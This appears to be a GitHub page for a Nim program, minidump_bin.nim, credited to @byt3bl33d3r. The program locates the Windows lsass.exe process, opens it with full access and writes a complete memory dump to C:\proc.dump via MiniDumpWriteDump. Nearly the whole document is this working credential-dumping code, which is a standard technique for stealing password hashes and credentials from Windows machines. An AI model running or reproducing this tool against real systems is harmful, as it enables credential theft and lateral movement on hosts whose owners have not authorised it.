-
Notifications
You must be signed in to change notification settings - Fork 352
/
minidump_bin.nim
80 lines (66 loc) · 2.25 KB
/
minidump_bin.nim
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#[
Author: Marcello Salvati, Twitter: @byt3bl33d3r
License: BSD 3-Clause
Enumerates all processes to find lsass.exe and creates a memorydump using MiniDumpWriteDump
References:
- https://gist.github.com/xpn/e3837a4fdee8ea1b05f7fea5e7ea9444
- https://github.com/juancarlospaco/psutil-nim/blob/master/src/psutil/psutil_windows.nim#L55
- https://github.com/byt3bl33d3r/SILENTTRINITY/blob/master/silenttrinity/core/teamserver/modules/boo/src/minidump.boo
]#
import winim
type
MINIDUMP_TYPE = enum
MiniDumpWithFullMemory = 0x00000002
proc MiniDumpWriteDump(
hProcess: HANDLE,
ProcessId: DWORD,
hFile: HANDLE,
DumpType: MINIDUMP_TYPE,
ExceptionParam: INT,
UserStreamParam: INT,
CallbackParam: INT
): BOOL {.importc: "MiniDumpWriteDump", dynlib: "dbghelp", stdcall.}
proc toString(chars: openArray[WCHAR]): string =
result = ""
for c in chars:
if cast[char](c) == '\0':
break
result.add(cast[char](c))
proc GetLsassPid(): int =
var
entry: PROCESSENTRY32
hSnapshot: HANDLE
entry.dwSize = cast[DWORD](sizeof(PROCESSENTRY32))
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
defer: CloseHandle(hSnapshot)
if Process32First(hSnapshot, addr entry):
while Process32Next(hSnapshot, addr entry):
if entry.szExeFile.toString == "lsass.exe":
return int(entry.th32ProcessID)
return 0
when isMainModule:
let processId: int = GetLsassPid()
if not bool(processId):
echo "[X] Unable to find lsass process"
quit(1)
echo "[*] lsass PID: ", processId
var hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, cast[DWORD](processId))
if not bool(hProcess):
echo "[X] Unable to open handle to process"
quit(1)
try:
var fs = open(r"C:\proc.dump", fmWrite)
echo "[*] Creating memory dump, please wait..."
var success = MiniDumpWriteDump(
hProcess,
cast[DWORD](processId),
fs.getOsFileHandle(),
MiniDumpWithFullMemory,
0,
0,
0
)
echo "[*] Dump successful: ", bool(success)
fs.close()
finally:
CloseHandle(hProcess)